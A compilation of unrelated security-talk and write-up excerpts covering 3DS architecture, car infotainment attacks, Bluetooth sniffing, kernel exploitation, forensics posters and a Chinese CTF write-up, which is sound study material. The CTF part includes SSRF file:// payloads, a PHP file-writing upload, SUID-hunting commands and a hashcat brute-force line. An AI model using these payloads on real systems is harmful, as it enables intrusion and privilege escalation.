Brokers(access(to(storage,(performs(crypto(tasks((decryption,(authentication)( Memory CPUs Devices ARM9( ARM11( FCRAM( WRAM( VRAM( ARM9( internal( GPU( CRYPTO( NAND( ARM9: access to almost everything Memory CPUs Devices ARM9( ARM11( FCRAM( WRAM( VRAM( ARM9( internal( GPU( CRYPTO( NAND( ARM11: more limited access to hardware ARM11 Kernel Home Menu NS fs GSP HID System calls APPLICATION memory region SYSTEM memory region BASE memory region Game The ARM11s microkernel architecture ARM11 Kernel Home Menu NS fs GSP HID System calls APPLICATION memory region SYSTEM memory region BASE memory region Game The ARM11s microkernel architecture: system call access control ARM11 Kernel Home Menu NS fs GSP HID System calls APPLICATION memory region SYSTEM memory region BASE memory region Game The ARM11s microkernel architecture: system call access control ARM11 Kernel Home Menu NS fs GSP HID System calls APPLICATION memory region SYSTEM memory region BASE memory region Game The ARM11s microkernel architecture: system call access control ARM11 Kernel Home Menu NS fs GSP HID System calls APPLICATION memory region SYSTEM memory region BASE memory region Game The ARM11s microkernel architecture: services gsp::Gpu( fs:USER( hid:USER( fs:USER( gsp::Gpu( hid:USER( ARM11 Kernel


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~ Jay Turla @shipcod3 CAR INFOTAINMENT HACKING METHODOLOGY AND ATTACK SURFACE SCENARIOS WHOAMI  Jay Turla @shipcod3  app security engineer @Bugcrowd  ROOTCON goon  contributed to some security tools  I love PS4  Not the creator of Turla malware  Loves to party BEFORE ANYTHING ELSE.. WE NEED AN INSPIRATIONAL QUOTE SCOPE & LIMITATIONS  Infotainment bugs and its attack surfaces  No Canbus Hacking  Methodologies, Security Bugs But Not Full Takeover of the Car (because infotainments have limitation)  Kinda similar to Jason Haddixs The Bug Hunters Methodology (in fact inspired by it)  Probably miss out some attack surfaces (only common ones with known vulnerabilities or proof of concept) COMMON ATTACK SURFACES BY CRAIG SMITH IN HIS BOOK THE CAR HACKERS HANDBOOK COMMON ATTACK SURFACES LINKED TO THE INFOTAINMENT CONSOLE  Bluetooth  Wi-Fi  USB Ports  SD Card Ports  CD-ROM / DVD-ROM  Touch screen and other inputs that allow you to control the console  Audio Jack (hmmm maybe?)  Cellular Connection, GPS, etc. BLUETOOTH  Bluetooth vulnerabilities  Bluetooth jamming  Code execution (havent seen a PoC on an infotainment yet)  Default bluetooth pairing numbers: 0000," 1111, 1234"  Malformed or Format String Vulnerabilities (Brick the Device)  Memory corruption - send malformed packages to the head unit BLUETOOTH CASE - FORMAT STRING VULNERABILITIES THAT COULD LEAD TO APPLICATION CRASH OR BRICKING OF YOUR DEVICE  Some Bluetooth stacks on infotainment systems can be crashed via %x or %c format string specifiers in a device name, address book name, song title, etc.  CVE-2017-9212 was assigned to a BMW 330i 2011 car wherein a researcher from IOActive renamed his device with format string specifiers & connected his device via Bluetooth to his car which eventually crashed his system.  Warning! Bricks your system so test at your own risk  WHAT IF it takes you to the desktop environment or debug options? HERE ARE SOME PAYLOADS YOU CAN TRY WI-FI  Wi-Fi deauthentication attacks  Does the fir


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REVIEW THE POST AT: HTTPS://DEFCONGROUPS.ORG/DCGSTART.HTML   IT'S BASED ON LOCAL PHONE CODES FROM  YOU CANNOT BE DC042 OR DC666 OR DC11010100011   BASED ON DIALING CODES AND AREA CODE *FROM THE USA*  E.G. EDMONTON, CANADA = DC780 BECAUSE OF NORTH AMERICA, BILDA, ALGERIA = DC11213 (21 IS COUNTRY CODE, 3 IS CITY CODE)   THE DESIGNATION IS DC###-A, -B, ETC.   (JUST LIKE COCA-COLA, FORD, ETC  THEY DO NOT LET YOU USE THEIR LOGO)      (THANK YOU FOR YOUR PATIENCE!)   (RE: AUTOREPLY LOOPS)   PLAIN TEXT ONLY!  NOT PDF, DOCX, ETC.  IMAGE FILES ARE THE EXCEPTION (FOR LOGOS, OTHER PHOTOS)   Q&A WITH THE DCG CORE TEAM   SHARE IDEAS WITH OTHER GROUPS  PROJECTS, MEETING SPACES, HOW DO YOU MARKET YOUR GROUP?  MEET OTHER DCGS!


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1 内存取证 在HW排查发现可疑进程 python 使find命令进全盘搜索并没有发现相关件" python "应该是运在内存之中,但是我 们没有原件我们如何进分析 使 cat /proc/pid/maps 命令查看件在内存之中的情况可以看到件被删除之前存 在与路径: /tmp/.ICE-unix/python 发现 /tmp/.ICE-unix/python 有nohup件查看nohup.out件并没有发现什么线索 现在没有原件只有个进程我们可以通过使gdb把内存dump出来进分析 然后就是gdb命令(我也不知道该dump多少dump块内存) Bash 复制代码 gdb attach 14775 1 2 使IDA发现所谓的 python 件是个frp代理程序 寻找解密函数 使gdb分析在内存中成功还原攻击者IP Bash 复制代码 dump memory /root/memory.dump 0xc84da000 0xc8941000 1


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PASSIVE BLUETOOH MONITORING IN SCAPY Ryan Holeman AGENDA  bluetooth essentials  fundamental projects  scapy-btbb project overview  demo ESSENTIAL BLUETOOTH  bluetooth is a frequency hopping protocol ESSENTIAL BLUETOOTH  BTBB - bluetooth baseband  air trafﬁc between master and slave bluetooth devices ESSENTIAL BLUETOOTH  nap  non-signiﬁcant for communication  vendor association  uap  upper address part  vendor association  calculated from btbb packets  lap  lower address part  easily obtained in btbb packet FUNDAMENTAL PROJECTS SCAPY  Philippe Biondi  python network analysis and manipulation tool  supports many protocols and layers  Ethernet, Tcp/Ip, 802.11, 802.15.5, etc FUNDAMENTAL PROJECTS LIBBTBB  Dominic Spill and Mike Ossmann  provides methods for:  uap discovery, clock discovery, etc  wireshark plugin  wireshark btbb support FUNDAMENTAL PROJECTS UBERTOOTH  bluetooth baseband sniffer  Mike Ossmann  kismet plugin SCAPY-BTBB GOALS  bluetooth baseband trafﬁc in python SCAPY-BTBB CONTRIBUTIONS  btbb layer in scapy  a stream utility for pcap ﬁles in scapy  btbb helper methods  vendor from nap/uap  distinct address lists from btbb trafﬁc  extensive documentation of related projects SCAPY-BTBB RELEVANCE  real time and postmortem data analysis for btbb trafﬁc  compatibility across hardware  though pcap ﬁles  easily incorporated into:  developer debugging tools  auditing tools  exploitation tools DEMO REFERENCES  scapy  Phillippe Biondi  secdev.org/projects/scapy  libbtbb  Dominic Spill & Mike Ossmann  sourceforge.net/projects/libbtbb  ubertooth  Mike Ossmann  ubertooth.sourceforge.net  kismet  Mike Kershaw  kismetwireless.net  bluez  bluez.org  pybluez  pybluez.googlecode.com  wireshark  wireshark.org  ipython  ipython.org  pandas  pandas.pydata.org PROJECT HOME AND CONTACT INFO  project home  hackgnar.com/projects/btbb  contact  email: ripper@hackgnar.com  twitter: @hackgnar


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Kernel Exploitation Via Uninitialized Stack Kees Cook kees.cook@canonical.com www.canonical.com August 2011 2 Kernel Exploitation Via Uninitialized Stack by Kees Cook 20 Minutes!  introduction  quick Linux kernel exploitation basics  audit callers of copy_from_user() for mistakes  found a flawed function, but you don't have direct control?  controlling an uninitialized stack variable  become root  questions 3 Kernel Exploitation Via Uninitialized Stack by Kees Cook introduction 4 Kernel Exploitation Via Uninitialized Stack by Kees Cook who I am, what I do Kees Cook  Pronounced Case  @kees_cook on Twitter DefCon Capture the Flag  Started participating in 2003  With Team 1@stPlace, won in 2006 and 2007  Still play in the qualification rounds just for the fun of it Ubuntu Security Team  Started working for Canonical in 2006  Responsible for keeping Ubuntu as safe as possible  Enjoyed getting compiler hardening into shape  Now focusing on kernel hardening 5 Kernel Exploitation Via Uninitialized Stack by Kees Cook quick Linux kernel exploitation basics 6 Kernel Exploitation Via Uninitialized Stack by Kees Cook key to kernel exploitation is the arbitrary write Control kernel memory  Kernel determines permissions Credentials  Change your process's UID to 0 Tricky bit is finding the targets  Hunt through kernel memory  Global functions, variables 7 Kernel Exploitation Via Uninitialized Stack by Kees Cook there is an extensive list of potential targets and triggers Function tables!  struct security_operations global pointer: security_ops include/linux/security.h easy offset to ptrace_access_check, but requires a little clean-up  System-wide IDT Attacking the Core: http://www.phrack.org/issues.html?issue=64&id=6 requires handling interrupt mode  single, isolated struct sock sk_destruct called on close() easy to find in memory via /proc/net/tcp 8 Kernel Exploitation Via Uninitialized Stack by Kees Cook but you need the find a flaw first Everything is a theory until you find a


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$ S T A N D A R D _ I N F O R M A T I O N $ F I L E N A M E Windows取证分析 海 报 你不能保护你不知道的东西 digital-forensics.sans.org DFPS_FOR500_v4.9_4-19 Poster Created by Rob Lee with support of the SANS DFIR Faculty 2019 Rob Lee. All Rights Reserved. 翻译Leon(liyi05@qianxin.com) 文件重命名 本地文件移动 卷文件移动 通过命令行 卷文件移动 通过文件 管理器复制/粘贴) 文件复制 只有Win7以后的 NTFS不改变 文件访问 文件修改 访问时间-文件 创建时间 文件创建 文件删除 Windows 痕迹分析: ...的证据 UserAssist 描述 Windows系统从桌面启动的GUI程序在启动器中进行跟踪 位置 NTUSER.DAT HIVE: NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\ {GUID}\Count 解释 所有的值是 ROT-13编码  GUID for XP - 75048700 活动桌面  GUID for Win7/8/10 - CEBFF5CD 可执行文件执行 - F4E57C4B 快捷方式文件执行 Windows 10 时间线 描述 Win10在时间线中记录最近使用的应用程序和文件可 以通过WIN + TAB键访问 数据记录在一个SQLite数据 库中 位置 C:\Users\<profile>\AppData\Local\ConnectedDevices Platform\L.<profile>\ActivitiesCache.db 解释  应用程序执行  每个应用程序的焦点数 RecentApps 描述 在Win10系统上启动的GUI程序执行可在 RecentApps键中 进行跟踪 位置 Win10: NTUSER.DAT\Software\Microsoft\Windows\Current Version\Search \RecentApps 解释 每个GUID键指向一个最近使用的应用程序 AppID = 应用程序名称 LastAccessTime = UTC格式的最后执行时间 LaunchCount = 执行过的次数 Shimcache 描述  Windows使用Windows应用程序兼容性数据库来确定可执行文 件可能出现的应用程序兼容性挑战  跟踪可执行文件的文件名文件大小上次修改时间以及 Windows XP中的上次更新时间 位置 XP: SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatibility Win7/8/10: SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache 解释 在此注册表项中可以找到Windows系统上运行的任何可执行文 件 您可以使用此键来识别系统执行了特定恶意软件另外 基于对时间数据的解释您也许能够确定系统上执行或活动的 最后时间  Windows XP包含最多96项 - 执行文件时更新LastUpdateTime  Windows 7包含最多1,024项 - Win7系统上不存在LastUpdateTime 跳转列表 描述  Windows 7任务栏跳转列表经过精心设计可让用户快 速轻松地跳转或访问他们经常或最近使用的项目此功 能不仅可以包括最近的媒体文件 它还包括最近的任务  每个存储在AutomaticDestinations文件夹中的数据具有一个 唯一的文件该文件前面带有关联应用程序的AppID 位置 Win7/8/10: C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent \ AutomaticDestinations 解释  应用程序首次运行时间 - Creation Time = 添加到AppID文件的第一个时间项  Last time of execution of application w/file open. - Modification Time = 添加到AppID文件的最后一条时间项  Jump List ID列表 -> http://www.forensicswiki.org/wiki/List_of_Jump_List_IDs Amcache.hve 描述 ProgramDataUpdat


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DefCon 13 Shmoo-Fu: Hacker Goo, Goofs, and Gear with the Shmoo The Shmoo Group www.shmoo.com DefCon 13 What's up Shmoo?  Howdy & introductions...  Our festivities will include:  IDN Fallout & Homograph Attacks for Personal Identities  Super Spy Stuff  Revving Up Rainbow Tables  Rogue Squadron & EAP Peeking  Shooting Your Security Wad  Don't Try This at Home  And MORE! DefCon 13 Stickers anyone? DefCon 13 IDN Fallout  At ShmooCon 2005, Eric Johansen dropped the browser bomb regarding IDN issues.  The press ran with it a bit.  The folks responsible for IDN ranted for a bit.  But did anything concrete occur?  And where are we now? DefCon 13 1337 Personal Identities  So Ericj is now 3ricj, BTW.  Oh snap. That rhymes.  Where does the system break down when your name doesn't quite conform?  Does 3ricj get more fan mail?  Can the man keep your 1337 identity down? DefCon 13 And now... Pablos. DefCon 13 Super Spy Stuff  Robots got boring, so Pablos starting hanging out with models after his chic hacker photo shoot in FHM.  The result was nothing short of spectacular, as the fashionable cell-phone stowaway strifes hot women face were finally addressed. DefCon 13 While Pablos discusses the alien technology inner workings of his secret ninja lair, you can stare at this... DefCon 13 DefCon 13 Dan Moniz goes crazy... DefCon 13 rainbowtables.shmoo.com  We think rainbow tables are neat.  Just for fun, we started hosting rainbow tables that we had generated.  LanMan  Via Bittorrent  FREE  Some people liked that. Yay!  Some people didn't... DefCon 13 ---------- Forwarded message ---------- From: Zhu Shuanglei <shuanglei@hotmail.com> Date: Mar 10, 2005 12:42 AM Subject: About your shmoo site To: beetle@shmoo.com Hi, I am Zhu Shuanglei, the author of RainbowCrack software. I notice you are offering free BitTorrent links on your website for the rainbow tables. For those guys selling the table without permission from me, they are not welcome. But you are worse. As you may know, I develop


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# 上午 ## web ### URL 页面输入存在url参数 ?url=怀疑是SSRF读取源码 ``` /index.php?url=file://localhost/ctf.cybersec/../../var/www/html/index.php&submit=SUBMIT ``` ```php <?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } if(isset($_GET['submit'])){ $url = $_GET['url']; if (preg_match('/ctf\.cybersec/i', $url)) { if (preg_match('/\@|\#|\?/i', $url)) { die('not @#?'); } else { $parts = parse_url($url); if (empty($parts['host']) || $parts['host'] != 'localhost') { exit('host must be localhost'); } else { curl($url); } } } else { die("The URL must contain the 'ctf.cybersec'"); } } ?> ``` 源码里不存在flag和提示经过尝试找到flag在/flag.txt ``` /index.php?url=file://localhost/ctf.cybersec/../flag.txt&submit=SUBMIT ``` --- ### upload 文件上传提示200OK,但访问又是404,解法是条件竞争,burp开两个intruder窗口一个持续上传一个持续访问预期文件名线程调高即可 上传生成马 ```php <?php file_put_contents("shell123.php","test888888<?php phpinfo();?>");?> ``` 这题给了flag位置在/root/flag直接读是没有权限的需要执行/etc/下的test才能读取flag类似于大型竞赛的readflag程序为了防止破坏flag 这类readflag程序一般是通过SUID实现的以下命令将尝试查找具有root权限的SUID的文件不同系统适用于不同的命令一个一个试 ``` find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \; ``` --- # 下午 ## Misc ### 签到 flag 就在图片里面 --- ### RE_bitsconvert **描述** 与门或门和非门是常见的门电路现有一个电路其中一部分有与或非三个门有一串电流序列以一定的顺序通过了这个电路现获取到电流通过这三个门之后的状态那么原电流的序列是什么 提示md5(flag) == 4c753d89d239bb17b8d754ff981c7772 程序运行后要求输入 01,在输入到第32次后会判断答案,那么可以得出揭露 01组成的32位数 md5 == 4c753d89d239bb17b8d754ff981c7772 用 hashcat 爆破 ``` hashcat.exe 4c753d89d239bb17b8d754ff981c7772 -a 3 -m 0 -3 01 ?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3 ``` 将 10011011101110000010111100001101 输入至程序得到 flag flag{10011011-10111000-00101111-00001101} --- ### 被加密了的设备驱动 附件是一个加密的压缩包,爆破密码,是弱口令 05114568 解压出来是一个文本文件和一个加密的压缩包 ppp内容如下 ``` 1 0 LOAD_CONST 0 (0) 2 LOAD_CONST 1 (None) 4 IMPORT_NAME 0 (hashlib) 6 STORE_NAME 0 (hashlib) 3 8 LOAD_CONST 2 (<code object encode at 0x03543


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# 18.2 删除链表中重复的结点 [牛客网](https://www.nowcoder.com/practice/fc533c45b73a41b0b44ccba763f866ef?tpId=13&tqId=11209&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述

 ## 解题描述 ```java public ListNode deleteDuplication(ListNode pHead) { if (pHead == null || pHead.next == null) return pHead; ListNode next = pHead.next; if (pHead.val == next.val) { while (next != null && pHead.val == next.val) next = next.next; return deleteDuplication(next); } else { pHead.next = deleteDuplication(pHead.next); return pHead; } } ```